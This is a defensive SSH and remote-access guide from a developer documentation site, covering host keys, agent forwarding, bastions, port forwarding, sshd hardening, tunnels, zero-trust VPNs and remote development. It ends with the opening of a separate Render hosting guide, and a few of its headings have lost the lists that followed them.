Keys prove you to the server. The host key proves the server to you — it's what stops an on-path attacker from impersonating your bastion.

# First connect is trust-on-first-use: you're shown a fingerprint and asked to accept.
# Compare it out-of-band against the server's own fingerprint before typing yes:
ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub    # run on the server

# Pre-seed known_hosts for CI / scripted access instead of disabling checking
ssh-keyscan -t ed25519 server.example.com >> ~/.ssh/known_hosts

# Host key changed (rebuild, re-image, new VM at the same address)? Remove the stale entry:
ssh-keygen -R server.example.com

StrictHostKeyChecking accept-new auto-accepts a first fingerprint but still refuses a changed one — a reasonable middle ground for ephemeral infra. Never StrictHostKeyChecking no: that accepts changed keys too, which is precisely the attack it exists to catch.


3. The SSH agent (and why forwarding is dangerous)

The agent holds your decrypted private key in memory so you type the passphrase once instead of on every connection.

eval "$(ssh-agent -s)"          # start one (most desktops already run it)
ssh-add ~/.ssh/id_ed25519       # unlock the key into the agent
ssh-add -l                      # list loaded keys
ssh-add -t 8h ~/.ssh/id_ed25519 # auto-expire after 8 hours
ssh-add -c ~/.ssh/id_ed25519    # require confirmation on EVERY use of this key
ssh-add -D                      # drop all keys (do this when you step away)

Set AddKeysToAgent yes in ~/.ssh/config and the key loads on first use automatically. On macOS add UseKeychain yes to persist the passphrase in the Keychain. On Windows, the agent is a service that is disabled by default: Get-Service ssh-agent | Set-Service -StartupType Automatic; Start-Service ssh-agent. Note that Microsoft documents that the Windows agent persists added keys in the registry across sessions, so ssh-add -D when a key should no longer be loaded, and keep the passphrase on the key file.

Since OpenSSH 10.1 the agent's listening socket lives under ~/.ssh/agent/ instead of /tmp, so processes sandboxed away from your home directory can't reach it. OpenSSH 10.6 adds ssh-agent -A and the server-side AgentSocketPath (default user:.ssh/agent) to control where those sockets go.

Agent forwarding: what it actually risks

ForwardAgent yes / ssh -A exposes your local agent's socket on the remote host so you can hop onward using your local keys. The ssh(1) man page is blunt about the consequence:

Users with the ability to bypass file permissions on the remote host (for the agent's Unix-domain socket) can access the local agent through the forwarded connection. An attacker cannot obtain key material from the agent, however they can perform operations on the keys that enable them to authenticate using the identities loaded into the agent.

Read that carefully: root on the hop cannot steal your key, but for as long as your session is open they can sign with it — i.e. log in as you to every machine that key opens. On a shared or compromised bastion that's a full lateral-movement primitive.

Use ProxyJump instead (§5). It solves the same problem — reach host B via host A — without ever exposing your agent to A, because the SSH session is encrypted end-to-end from your laptop to B and A only relays bytes. Default ForwardAgent no globally, and if some workflow genuinely needs forwarding, scope it to a single trusted host and pair it with ssh-add -c so each use requires an explicit confirmation:

Host *
    ForwardAgent no          # default deny

Host trusted-build-box
    ForwardAgent yes         # opt in for exactly one host, deliberately

4. ~/.ssh/config — host blocks

A config block turns a long command into ssh prod, and it's where bastion routing, identity selection and keepalives live. Every tool that shells out to ssh — git, rsync, scp, VS Code Remote-SSH, Ansible — inherits it for free.

# ~/.ssh/config   (chmod 600)

# ── The bastion: the ONLY box with a public SSH port ──────────────────
Host bastion
    HostName bastion.example.com
    User jumpuser
    Port 22
    IdentityFile ~/.ssh/id_ed25519
    IdentitiesOnly yes            # offer ONLY this key (see gotcha below)
    ForwardAgent no

# ── A private box reachable only through the bastion ──────────────────
Host app-internal
    HostName 10.0.1.50            # private IP, no public exposure
    User appuser
    ProxyJump bastion             # SSH hops through bastion automatically
    IdentityFile ~/.ssh/id_ed25519
    IdentitiesOnly yes

# ── Pattern matching: one block for a whole fleet ─────────────────────
Host db-* cache-*
    User ops
    ProxyJump bastion
    IdentityFile ~/.ssh/id_ed25519

# ── A distinct key for GitHub (keeps work/personal identities apart) ──
Host github.com
    User git
    IdentityFile ~/.ssh/id_ed25519_github
    IdentitiesOnly yes

# ── Shared defaults. MUST BE LAST — see first-match-wins below. ────────
Host *
    AddKeysToAgent yes
    ForwardAgent no
    ServerAliveInterval 60        # ping every 60s...
    ServerAliveCountMax 3         # ...give up after 3 misses (~3 min dead link)
    ControlMaster auto            # reuse one TCP+auth session for repeat connects
    ControlPath ~/.ssh/cm-%r@%h:%p
    ControlPersist 10m

Three things worth internalising:

ssh -G app-internal prints the fully-resolved config for a host — the fastest way to find out which block actually won.

Two settings to leave at their defaults: Compression no, because compressing a connection that mixes trusted and untrusted traffic (a shell plus an open port-forward) leaks information about the session, and OpenSSH 10.6 weakened compression on purpose to blunt a cross-channel plaintext-recovery attack; and WarnWeakCrypto yes, the 10.1+ warning that the far end only offers a classical (non-post-quantum) key agreement.


5. Bastions & ProxyJump

The bastion (jump host) pattern: exactly one hardened box has a public SSH port; everything else lives on private IPs and is reached through it. One place to audit, one place to patch, one place to revoke.

Host app-internal
    HostName 10.0.1.50
    ProxyJump bastion
ssh app-internal                                        # config-driven
ssh -J jumpuser@bastion.example.com appuser@10.0.1.50   # one-shot equivalent
ssh -J hop1,hop2 user@final-host                        # chain multiple hops

ProxyJump is not agent forwarding. Under the hood it runs a nested ssh -W host:port on the jump host, which merely relays TCP. Your session to the final host is encrypted end-to-end from your laptop — the bastion sees ciphertext, never your keystrokes and never your agent. That property is the whole reason to prefer it.

flowchart LR
    Dev["Your laptop"] -->|"SSH session, encrypted end-to-end"| App["app-internal 10.0.1.50"]
    Dev -.->|"outer SSH: relay only"| B["bastion :22<br/>sees ciphertext"]
    B -.->|"forwards TCP"| App
    classDef pub fill:#0891B2,color:#fff,stroke:#22D3EE
    classDef priv fill:#1e293b,color:#e2e8f0,stroke:#334155
    class B pub
    class App priv

ProxyCommand is the older, more general escape hatch (ProxyCommand ssh -W %h:%p bastion, or an AWS SSM / Cloudflare cloudflared access ssh invocation). Reach for ProxyJump unless you need something ProxyJump can't express.

On the bastion itself, keep the blast radius small: no application code, no secrets, AllowTcpForwarding yes (it needs it) but AllowAgentForwarding no, per-user accounts, and full session logging.


6. Port forwarding: -L, -R, -D

SSH's most useful and least-known feature: carry an arbitrary TCP stream through the encrypted connection. -N means "no shell, just hold the tunnel open"; add -f to background it.

# LOCAL forward (-L): pull a remote/private service onto YOUR localhost.
# Reach a Postgres on a private subnet as if it were local:5432.
ssh -N -L 5432:db.internal:5432 user@bastion.example.com
#        └local┘ └──remote target──┘
# → psql -h localhost -p 5432   now hits db.internal through the tunnel.
# The "db.internal:5432" part is resolved BY THE BASTION, not by you — which is
# why this works for hostnames that don't resolve on your machine at all.

# REMOTE forward (-R): push YOUR localhost out to a port on the remote box.
ssh -N -R 8080:localhost:3000 user@server.example.com
# → server.example.com:8080 reaches your laptop's :3000.
# By default this binds the remote's LOOPBACK only. To expose it on the remote's
# public interface the SERVER must set `GatewayPorts yes` (or `clientspecified`),
# then: ssh -N -R 0.0.0.0:8080:localhost:3000 user@server.example.com

# DYNAMIC forward (-D): a local SOCKS5 proxy that egresses from the remote host.
ssh -N -D 1080 user@bastion.example.com
# → curl --socks5-hostname localhost:1080 https://internal-dashboard.example.com
# Point a browser's SOCKS settings at localhost:1080 and every request exits
# from the bastion — the cleanest way to browse an internal admin panel without
# forwarding each service individually.
flowchart LR
    Dev["Your laptop<br/>localhost:5432"] -->|"encrypted SSH"| B["Bastion<br/>public :22"]
    B -->|"private LAN"| DB[("db.internal:5432<br/>no public port")]
    classDef pub fill:#0891B2,color:#fff,stroke:#22D3EE
    classDef priv fill:#1e293b,color:#e2e8f0,stroke:#334155
    class B pub
    class DB priv

The mnemonic: -L brings something to you (Local); -R sends something out to the Remote; -D makes everything Dynamic through a SOCKS proxy.

Escape sequences (typed at the start of a line in an interactive session) save you when a forward is missing or a session hangs:

Sequence Effect
~? List all escape sequences
~C Open a command line — add a forward mid-session: -L 8080:localhost:80
~. Kill a hung session (when Ctrl-C won't work)
~& Background the session

On the server side, AllowTcpForwarding no in sshd_config disables all of this — set it on any host that has no business relaying traffic, and leave it on only for bastions.


7. Hardening sshd

The defaults in sshd_config are permissive on purpose — OpenSSH ships something that works everywhere, and expects you to lock it down. These are the directives that matter, with their documented defaults:

Directive Default Set to Why
PasswordAuthentication yes no Passwords are brute-forced continuously; keys are not
KbdInteractiveAuthentication yes no The forgotten back door — PAM keyboard-interactive still accepts passwords even after you disable PasswordAuthentication
PermitRootLogin prohibit-password no Per-user accounts + sudo give you an audit trail
PubkeyAuthentication yes yes Keep explicit so a future edit can't quietly flip it
MaxAuthTries 6 3 Fewer guesses per connection
AllowUsers / AllowGroups all users explicit list Allowlist beats denylist
PermitEmptyPasswords no no Assert it
X11Forwarding no (often yes on distros) no Unused attack surface on a server
AllowTcpForwarding yes no (except bastions) Stops a compromised account pivoting through the box
AllowAgentForwarding yes no Don't let a hop harvest visiting agents
PerSourcePenalties enabled (9.8+) leave on Built-in penalty box for crashes, auth failures, invalid users
WarnWeakCrypto yes (sshd 10.6+) leave on Logs every client that negotiates a non-post-quantum key agreement, so you can find stale clients
PubkeyOptions max-pk-ok:N 6 (10.6+) leave "Would you accept this key?" probes no longer burn MaxAuthTries, so MaxAuthTries 3 stops locking out agents holding several keys
PermitTunnel no no Layer-3 tun forwarding is rarely needed; 10.5/10.6 fixed restrict not applying to it

Distro OpenSSH trails upstream. Ubuntu 24.04's package, for example, reports OpenSSH_9.6p1. An sshd that doesn't recognise a keyword refuses to start, so only write version-gated directives (PerSourcePenalties 9.8+, WarnWeakCrypto/PubkeyOptions 10.6+) where ssh -V / sshd -t confirm support. Where they are supported, they're already on by default. examples/sshd-hardening.conf ships them commented out for this reason.

# Edit, then ALWAYS validate before restarting
sudo nano /etc/ssh/sshd_config
sudo sshd -t                    # syntax check — silence means OK
sudo sshd -T | grep -Ei 'passwordauth|permitrootlogin|kbdinteractive'   # effective config
sudo systemctl restart ssh

# ⚠ Keep your CURRENT session open and verify a NEW one connects before closing it.
# A typo in sshd_config plus a closed last session is a locked-out server.

Two distro gotchas that waste afternoons:

PerSourcePenalties vs fail2ban

Since OpenSSH 9.8, sshd penalises misbehaving source addresses itself — enabled by default, with per-event penalties (auth failure 5s, invalid user 5s, crash 90s, …) accumulating up to a 10-minute cap. For a single host with keys-only auth, that plus PasswordAuthentication no already removes essentially all brute-force value.

fail2ban still earns its place when you want firewall-level bans (dropping packets rather than answering them), longer ban windows, bans shared across services (SSH + nginx + postfix), or a ban list you can inspect and report on.

# /etc/fail2ban/jail.local
[DEFAULT]
bantime  = 1h
findtime = 10m
maxretry = 3

[sshd]
enabled = true
# Ubuntu 24.04 / Debian 12 log SSH to journald and may have NO /var/log/auth.log.
# With the default `backend = auto`, fail2ban then reads nothing and silently
# never bans anyone. Point it at the journal explicitly:
backend = systemd
sudo systemctl restart fail2ban
sudo fail2ban-client status sshd     # verify it is actually seeing failures

Beyond authorized_keys: SSH certificates

authorized_keys sprawl is the real operational problem at fleet scale — one departing engineer means editing every server. SSH certificates invert it: a CA signs short-lived user certificates, servers trust the CA, and expiry does the revocation for you.

# On the CA host (protect this key like a root credential)
ssh-keygen -t ed25519 -f ~/ca_user_key -C "codeamani-user-ca"

# Sign a user's public key for 8 hours, valid as principal "appuser"
ssh-keygen -s ~/ca_user_key -I "barnabas@codeamani" -n appuser -V +8h \
  ~/.ssh/id_ed25519.pub          # → produces id_ed25519-cert.pub

# On every server: trust the CA instead of listing individual keys
#   /etc/ssh/sshd_config
#   TrustedUserCAKeys /etc/ssh/ca_user_key.pub

Keep certificate lifetimes short (hours, not months): an 8-hour cert issued after an IdP + MFA login is worth more than any number of authorized_keys audits. Since OpenSSH 10.1, ssh-agent drops expired certificates on its own shortly after they expire. Use OpenSSH ≥10.6 on the CA host: 10.6 fixed a Daylight Saving Time bug in ssh-keygen date handling that could produce certificates with expiry off by an hour.

If you'd rather not run a CA, Tailscale SSH (§10) and Cloudflare Access for Infrastructure (§10) give you the same "identity, not a file on a laptop" property as a managed service. Both issue access from an IdP login with MFA, and Cloudflare's signs a short-lived SSH certificate per session.


8. SSH and WSL Ubuntu

WSL trips people up because there are two operating systems with two separate SSH worlds on one machine. See wsl/CLAUDE_CODE_INTEGRATION.md (§7 configuration, §10 networking) for the WSL fundamentals; this section covers only the SSH-shaped parts.

SSH out of WSL (the common case)

The distro's ~/.ssh is at /home/you/.ssh inside the Linux filesystem, entirely separate from Windows' C:\Users\you\.ssh. Simplest correct answer: generate a distro-local key and treat the distro as its own device.

# Inside Ubuntu on WSL
ssh-keygen -t ed25519 -a 100 -C "barnabas@wsl-ubuntu"
ssh-copy-id -i ~/.ssh/id_ed25519.pub user@server.example.com

Do not symlink ~/.ssh to /mnt/c/Users/you/.ssh. Without [automount] options = "metadata" in /etc/wsl.conf, everything under /mnt/c reports mode 0777, and ssh refuses the key outright with UNPROTECTED PRIVATE KEY FILE. Enabling metadata (then wsl --shutdown, then chmod 600) does make it work, but you've now got one key whose permissions depend on a mount option — a fragile setup. Copying the key in and chmod 600-ing it, or issuing a separate key, is the durable choice.

If you want a single key custody point across both OSes, bridge the Windows agent into WSL with npiperelay + socat (or a wrapper like wsl2-ssh-agent) and set SSH_AUTH_SOCK in your shell rc. That keeps the private key in the Windows agent — or in 1Password/ssh-agent.exe — with WSL holding no key material at all. Worth the setup cost only if you're already curating Windows-side keys.

SSH into WSL

Two distinct problems: getting sshd running inside the distro, and making the distro reachable at all.

# 1. Install and start the server inside Ubuntu
sudo apt update && sudo apt install -y openssh-server
sudo ssh-keygen -A                      # generate host keys if the install didn't

# Avoid colliding with the Windows host's own OpenSSH server on :22
sudo sed -i 's/^#\?Port .*/Port 2222/' /etc/ssh/sshd_config
sudo sed -i 's/^#\?PasswordAuthentication .*/PasswordAuthentication no/' /etc/ssh/sshd_config
sudo sshd -t

# 2. Start it. With systemd enabled ([boot] systemd=true in /etc/wsl.conf):
sudo systemctl enable --now ssh
# Without systemd, WSL has no init — start it per session (or from ~/.bashrc):
sudo service ssh start

Reachability depends on the networking mode:

Mode Reaching WSL's sshd Notes
NAT (default) From Windows itself, localhost:2222 generally works via localhost forwarding. From another machine on the LAN it does not — the distro is a VM behind NAT Bridge it with netsh interface portproxy add v4tov4 listenport=2222 listenaddress=0.0.0.0 connectport=2222 connectaddress=$(wsl hostname -I) — but the WSL IP changes on restart, so this needs re-running
Mirrored (networkingMode=mirrored in %UserProfile%\.wslconfig; Win 11 22H2 + WSL 2.0.9+) WSL mirrors the host's interfaces, so a LAN peer can reach the distro directly Requires opening the Hyper-V firewall for inbound: Set-NetFirewallHyperVVMSetting -Name '{40E0AC32-46A5-438A-A0B2-2B479E8F2E90}' -DefaultInboundAction Allow, or a targeted New-NetFirewallHyperVRule per port

Remember wsl --shutdown after editing .wslconfig — the setting only applies to a fresh VM.

The codeAmani answer is usually neither. Run Tailscale inside the distro (or on the Windows host with mirrored networking) and reach it by MagicDNS name over the tailnet — no port forwarding, no IP that changes on reboot, no router config, and identity-gated access. Reserve the portproxy dance for one-off LAN testing.


9. Public tunnels (ngrok, Cloudflare Tunnel, Tailscale Funnel)

Stripe, Clerk, Daraja and every other webhook provider POST to a public HTTPS URL. Your dev server on http://localhost:3000 is invisible to them. A tunnel gives localhost a public HTTPS front door. All three options below make an outbound connection from your machine, so no inbound firewall rule or router port-forward is ever needed.

For Stripe specifically, stripe listen --forward-to localhost:3000/api/webhooks/stripe delivers test-mode events to localhost without any public tunnel (see the stripe/ guide). Reach for a tunnel when the provider can only call a URL, as Daraja and Clerk do.

ngrok — fastest path

# One-time: register your account's authtoken (it lands in ngrok.yml — never commit that file)
ngrok config add-authtoken <YOUR_NGROK_AUTHTOKEN>

# Ephemeral URL — fine for a five-minute test
ngrok http 3000

# Better: bind your account's free STATIC dev domain so the URL survives restarts
ngrok http 3000 --url https://<YOUR-DEV-DOMAIN>.ngrok-free.app

Every ngrok account, free included, gets one automatically assigned static dev domain. Bind it with --url and the callback URL you registered stays valid across restarts. --subdomain and --hostname are deprecated in favour of --url.

Free plan limits, as the sibling networking/ guide verified on 2026-10-20 against ngrok's free-plan page (agent 3.39.11):

Limit Free plan
Dev domains 1 (static, auto-assigned)
Online endpoints 3
Data transfer out 1 GB / month
HTTP requests 20,000 / month (4,000 / minute)
TCP connections 5,000 / month
Browser traffic Interstitial warning page on HTML responses; webhook POSTs are unaffected; send ngrok-skip-browser-warning to bypass

The inspector at http://127.0.0.1:4040 replays every request and response. It's the single most useful thing about ngrok when a callback payload isn't what you expected.

Cloudflare Tunnel (cloudflared) — durable, on your own domain

cloudflared makes an outbound-only connection to Cloudflare's edge. Your firewall stays fully closed to inbound traffic, and you get a stable hostname on your own domain, which matters when a provider allowlists callback domains. Current release: cloudflared 2026.10.2.

Cloudflare now recommends remotely-managed tunnels for most uses: you create the tunnel and its routes in the dashboard (Networking → Tunnels) or by API, and the host just runs cloudflared with a tunnel token. Locally-managed tunnels, configured with config.yml, are documented as the option for local development, testing and legacy setups. That's exactly the dev-callback case, so the CLI flow below is fine for a laptop:

cloudflared tunnel login                                   # browser auth; writes cert.pem
cloudflared tunnel create daraja-dev                       # named tunnel + UUID + credentials JSON
cloudflared tunnel route dns daraja-dev cb.codeamani.com   # CNAME → <UUID>.cfargotunnel.com

# ~/.cloudflared/config.yml
#   tunnel: <UUID>
#   credentials-file: /home/you/.cloudflared/<UUID>.json
#   ingress:
#     - hostname: cb.codeamani.com
#       service: http://localhost:3000
#     - service: http_status:404

cloudflared tunnel run daraja-dev                          # bring it up
cloudflared tunnel info daraja-dev                         # check its connections

# Throwaway alternative — no account, no config, random *.trycloudflare.com URL.
# Quick Tunnels cap at 200 in-flight requests and don't support SSE.
cloudflared tunnel --url http://localhost:3000

Two credentials, two blast radii: cert.pem (from tunnel login) can create, route and delete any tunnel in the account and is valid for at least 10 years; the per-tunnel <UUID>.json can only run that one tunnel. Once your tunnels exist, Cloudflare's docs suggest deleting cert.pem and managing DNS from the dashboard. Both files are secrets.

flowchart LR
    Provider["Webhook provider<br/>(Stripe / Clerk / Daraja)"] -->|"HTTPS POST callback"| CF["Cloudflare edge"]
    CF -.->|"outbound-only tunnel<br/>firewall stays shut"| CFD["cloudflared on laptop"]
    CFD --> App["Next.js<br/>localhost:3000<br/>/api/webhooks/*"]
    classDef accent fill:#0891B2,color:#fff,stroke:#22D3EE
    class CF,CFD accent

Tailscale Funnel

tailscale funnel 3000 publishes a local port at https://<device>.<tailnet>.ts.net. It needs MagicDNS, HTTPS certificates and the funnel node attribute enabled in the policy file, only listens on ports 443, 8443 and 10000, and has bandwidth limits you can't configure. Use tailscale serve instead when only tailnet members should reach the service. That's the safer default for anything that isn't a webhook.

ngrok Cloudflare Tunnel Tailscale Funnel
Setup seconds a few minutes seconds (if already on the tailnet)
URL free static dev domain; custom on paid your own domain hostname <device>.<tailnet>.ts.net
Needs a domain you own no yes (a Cloudflare zone) no
Inbound ports none none (outbound-only) none
Put identity in front of it ngrok traffic policy Cloudflare Access policy use tailscale serve (tailnet-only) instead of Funnel
Best for throwaway webhook testing, request inspection longer-lived previews, allowlisted callback domains sharing a dev service you're already meshing

10. VPN & zero-trust (Tailscale, WireGuard, Cloudflare Access)

Tunnels and bastions expose one path at a time. A zero-trust mesh flips the model: machines join a private encrypted network and access is granted by identity + policy, not by where a packet originates. No inbound port is open anywhere, and logging in goes through your IdP, with its MFA.

Tailscale (managed WireGuard mesh)

Tailscale builds an encrypted peer-to-peer WireGuard mesh (a "tailnet"). Devices authenticate against your IdP (Google, Microsoft, GitHub, Okta…), so your IdP's MFA is your VPN's MFA. Current client: v1.104.1.

tailscale up                       # auth via browser/IdP, join the tailnet
tailscale status                   # peers + their 100.x.y.z addresses
tailscale ip -4                    # this device's tailnet IPv4

tailscale set --ssh                # enable identity-gated Tailscale SSH on THIS device
ssh pi@raspberry-pi                # connect by MagicDNS name — no authorized_keys at all
tailscale ssh pi@raspberry-pi      # equivalent via the Tailscale CLI

tailscale serve 3000               # share a local port with your tailnet only
tailscale funnel 3000              # ...or with the whole internet (see §9)

tailscale set --ssh is the documented way to turn the SSH server on (tailscale up --ssh still works). Access needs two things in the tailnet policy file: a grants entry allowing the network connection, and an ssh rule allowing the login. Tailscale's policy language now uses grants; older examples use the legacy acls section.

{
  "grants": [
    { "src": ["autogroup:member"], "dst": ["autogroup:self"], "ip": ["*"] },
    { "src": ["group:ops"],        "dst": ["tag:prod"],       "ip": ["tcp:22"] }
  ],
  "ssh": [
    {
      "action": "accept",
      "src":    ["autogroup:member"],
      "dst":    ["autogroup:self"],
      "users":  ["autogroup:nonroot"]
    },
    {
      "action": "check",
      "src":    ["group:ops"],
      "dst":    ["tag:prod"],
      "users":  ["autogroup:nonroot"]
    }
  ]
}

"action": "check" forces a fresh IdP login, and so MFA, before the session starts. The default checkPeriod is 12h. The range is 1 minute to 168 hours, or "always". Changing it from 12h is an "Advanced Tailscale SSH" feature on the pricing page, so on the free plan check mode runs at the default period. Use check for production. Neither src nor dst may be a bare *. When both a check and an accept rule match a connection, the check rule wins.

Limits to plan around (from the Tailscale SSH docs):

Pricing (tailscale.com/pricing, 2026-10-20): Personal $0 for up to 6 users, unlimited user devices, 3 ACL groups, 50 tagged resources, basic Tailscale SSH on up to 5 hosts. Standard $8/user/month. Premium $18/user/month, which adds advanced Tailscale SSH. Extra tagged resources cost $1/month each. MagicDNS gives stable names (raspberry-pi) instead of 100.x.y.z addresses; use names in scripts.

The default policy lets every device reach every device. Replace it with explicit grants before any production machine joins the tailnet.

WireGuard (the raw protocol)

Tailscale is WireGuard with identity, key distribution and NAT traversal added. Plain WireGuard (wg, wg-quick up wg0) is the DIY option: you manage keys and peer config yourself. Reach for it when you want a single self-hosted VPN concentrator and no third party in the path, and accept that key rotation, device revocation and MFA become your job. WireGuard has no user identity of its own.

Cloudflare Access (zero-trust for HTTP, SSH and RDP)

Pairs with Cloudflare Tunnel: put an internal app behind a Tunnel, then enforce an identity policy (email domain, IdP group, MFA, device posture) at Cloudflare's edge before any request reaches your origin. No open port, and for HTTP apps no client either.

For SSH, Cloudflare's current recommendation is Access for Infrastructure: the server connects through cloudflared, users run the Cloudflare One Client (the device client formerly called WARP), and Access issues a short-lived SSH certificate per login. The server trusts a Cloudflare SSH CA through TrustedUserCAKeys, so there are no authorized_keys to manage. It also gives per-target and per-Unix-user policies plus SSH command logs, and works with native SSH clients. The same infrastructure applications cover RDP targets.

The older short-lived certificates (legacy) flow, which uses a cloudflared access ssh ProxyCommand and a browser login, still works but Cloudflare marks it not recommended for new deployments. You'll recognise it from this config:

Match host vm.example.com exec "cloudflared access ssh-gen --hostname %h"
    HostName vm.example.com
    ProxyCommand cloudflared access ssh --hostname %h
    IdentityFile ~/.cloudflared/vm.example.com-cf_key
    CertificateFile ~/.cloudflared/vm.example.com-cf_key-cert.pub

11. Windows hosts: OpenSSH Server, RDP, VNC

OpenSSH Server on Windows

Windows ships Microsoft's build of OpenSSH, serviced through Windows Update.

Windows release OpenSSH Server state
Windows 10 1809+ / 11, Server 2019 / 2022 Not installed — add the optional feature
Windows Server 2025 Installed but not enabled — turn on "Remote SSH Access" in Server Manager or start sshd
# Elevated PowerShell (Windows 10/11, Server 2019/2022)
Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*'
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd
Set-Service -Name sshd -StartupType 'Automatic'
Get-NetFirewallRule -Name 'OpenSSH-Server-In-TCP'   # setup creates this inbound :22 rule

Windows-specific traps:

RDP

VNC

VNC's native authentication is weak and its traffic is often unencrypted. The tunnel isn't optional hardening, it is the security: ssh -N -L 5900:localhost:5900 user@host, then point the VNC client at localhost:5900, with the VNC server bound to loopback only.


12. Remote development

Run the editor or agent UI on one device and execute on another, so code lives next to the data, GPU, or private network it needs.

Surface How it connects Inbound port on the target? Identity
VS Code Remote-SSH Your ~/.ssh/config (so ProxyJump/ControlMaster just work); installs VS Code Server on the host SSH (22) — keep it on the tailnet SSH key
VS Code Remote Tunnels code tunnel on the host, open https://vscode.dev/tunnel/<machine>/<folder> None — outbound to Microsoft's tunnel service GitHub or Microsoft account on both ends
Dev Containers / Codespaces Containerised environment, local or GitHub-hosted n/a GitHub
Claude Code Remote Control claude remote-control on your machine; drive it from claude.ai/code or the Claude app None — outbound HTTPS to the Anthropic API claude.ai subscription login (+ optional Trusted Devices)
Claude Code cloud sessions Runs on Anthropic's cloud at claude.ai/code; pull into a terminal with claude --teleport n/a claude.ai account + GitHub

VS Code Remote-SSH host requirements: x86_64 glibc Linux (kernel ≥3.10, glibc ≥2.17; Alpine/musl unsupported), ARMv7l/ARMv8l Linux, Windows 10 / Server 2016/2019 (1803+) with the official OpenSSH Server, or macOS 10.14+ with Remote Login. Plan for at least 1 GB RAM; 2 GB and 2 cores are recommended. On shared Linux hosts, enable Remote.SSH: Remote Server Listen On Socket so other users can't reach your server's port.

VS Code Remote Tunnels: code tunnel (add --accept-server-license-terms for scripts), code tunnel service install to keep it running, code tunnel unregister to remove it. Up to 10 registered tunnels per account. The session inside the tunnel is end-to-end SSH-encrypted. Because anyone who controls that GitHub/Microsoft account controls the machine, put MFA on it.

Claude Code Remote Control keeps Claude Code running on your machine (filesystem, MCP servers, tools) and makes claude.ai/code or the iOS/Android app a window into it:

claude remote-control                 # server mode: prints a session URL (spacebar = QR code)
claude remote-control --spawn worktree --name "codeAmani dashboard"   # isolated worktree per session
claude --remote-control               # normal interactive session, also reachable remotely (alias --rc)
# inside a running session:  /remote-control   (alias /rc)

Claude Code over plain SSH still works: it's a terminal app, so ssh app-internal, then claude. On Windows, run it inside WSL Ubuntu, or use the Desktop app's WSL sessions, which run the Claude Code process inside a WSL 2 distribution (WSL 1 isn't supported). See wsl/CLAUDE_CODE_INTEGRATION.md.


13. Security checklist

Remote access is the front door to your infrastructure — treat every item as mandatory, not optional.


14. Troubleshooting

Symptom Likely cause / fix
Permission denied (publickey) Public key not in the server's authorized_keys, or wrong user. Diagnose with ssh -vvv user@host and read which keys were offered
UNPROTECTED PRIVATE KEY FILE chmod 600 ~/.ssh/id_ed25519, chmod 700 ~/.ssh. On WSL, the key is probably on /mnt/c — move it into the Linux filesystem (§8)
Key ignored server-side, no error ~/.ssh or authorized_keys too permissive on the server; sshd silently skips them. Check sudo journalctl -u ssh
Too many authentication failures The agent is offering every key before the right one. Add IdentitiesOnly yes + an explicit IdentityFile
REMOTE HOST IDENTIFICATION HAS CHANGED Server rebuilt/re-imaged (or an on-path attack). Confirm the cause, then ssh-keygen -R host
Config edits have no effect First-match-wins: an earlier block (often Host * at the top) already set the keyword. Check with ssh -G host
sshd still accepts passwords after disabling Either KbdInteractiveAuthentication yes is still on, or a drop-in in /etc/ssh/sshd_config.d/ overrides you. Verify with sudo sshd -T | grep -i auth
Port change in sshd_config ignored (Ubuntu 22.10+) ssh.socket owns the port — systemctl edit ssh.socket and set ListenStream=
-R forward not reachable from outside the remote Remote binds loopback by default; needs GatewayPorts yes server-side and -R 0.0.0.0:PORT:...
Connection drops after idle ServerAliveInterval 60 + ServerAliveCountMax 3 in ~/.ssh/config
fail2ban never bans anything (Ubuntu 24.04) No /var/log/auth.log; set backend = systemd in the [sshd] jail
Webhook provider gets a 404 through the tunnel Tunnel points at the wrong port, or cloudflared ingress falls through to http_status:404 — hostname must match exactly
ngrok shows a warning page instead of the app Free-plan browser interstitial. Harmless for webhooks; send ngrok-skip-browser-warning to bypass
Can't reach WSL's sshd from another machine Default NAT mode. Use networkingMode=mirrored + a Hyper-V firewall rule, or netsh interface portproxy (§8)
Tailscale SSH refuses the connection Missing the ssh rule in the policy file — a network grants entry alone isn't enough. Also check the target is Linux or open-source macOS tailscaled (no Windows SSH server)
New warning on connect about a non-post-quantum key exchange (10.1+) The server only offers classical key agreement: an OpenSSH older than 9.0 (which made the sntrup761 hybrid the default) or another implementation without ML-KEM/sntrup. Upgrade it. As a per-host stopgap only, WarnWeakCrypto accepts a no-pq-kex flag to silence just that warning
ssh rejects a username containing $ or \ (10.6+) Deliberate injection hardening for command-line usernames. Put the name in a User line in ~/.ssh/config if it is genuinely needed
Windows admin account: key ignored Admins read C:\ProgramData\ssh\administrators_authorized_keys, which must be ACL'd to Administrators + SYSTEM only (§11)
Can't RDP into a Windows Home PC Home editions can't host RDP. Use OpenSSH Server, VS Code Tunnels or Claude Code Remote Control
claude remote-control errors "requires claude.ai subscription auth" An API key / token is taking precedence. Unset ANTHROPIC_API_KEY (and any apiKeyHelper), then /login
VS Code Remote-SSH fails on an Alpine host musl-based distros aren't supported; use a glibc distro or a Dev Container

15. codeAmani notes

Official docs:

Render Integration Guide

Technology: render · Category: hosting · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/render

Insight:

Render covers what serverless can't: long-running services, background workers, cron jobs, durable Workflows and managed Postgres/Key Value with persistent connections. Reach for it when you need an always-on process or multi-hour task, not the Vercel/Netlify function model. Plans now use spec-based IDs (0.5c-512mb, 1c-2g) and workspaces are flat-priced.

██████╗ ███████╗███╗   ██╗██████╗ ███████╗██████╗
██╔══██╗██╔════╝████╗  ██║██╔══██╗██╔════╝██╔══██╗
██████╔╝█████╗  ██╔██╗ ██║██║  ██║█████╗  ██████╔╝
██╔══██╗██╔══╝  ██║╚██╗██║██║  ██║██╔══╝  ██╔══██╗
██║  ██║███████╗██║ ╚████║██████╔╝███████╗██║  ██║
╚═╝  ╚═╝╚══════╝╚═╝  ╚═══╝╚═════╝ ╚══════╝╚═╝  ╚═╝

Render Integration Guide

Focus: Running codeAmani backends on Render and managing them from Claude Code with the hosted Render MCP server, the render CLI, Blueprints (render.yaml), the REST API, and the @renderinc/sdk Workflows SDK.

Overview

Render is a unified cloud platform for web services, private services, static sites, background workers, cron jobs, Workflows (durable, distributed task runs), and managed Render Postgres and Render Key Value (Valkey 8, Redis-compatible). Everything in one region shares a private network, and a Blueprint (render.yaml) describes the whole stack as code.

What changed in 2026 that matters for codeAmani:

Change Date Impact
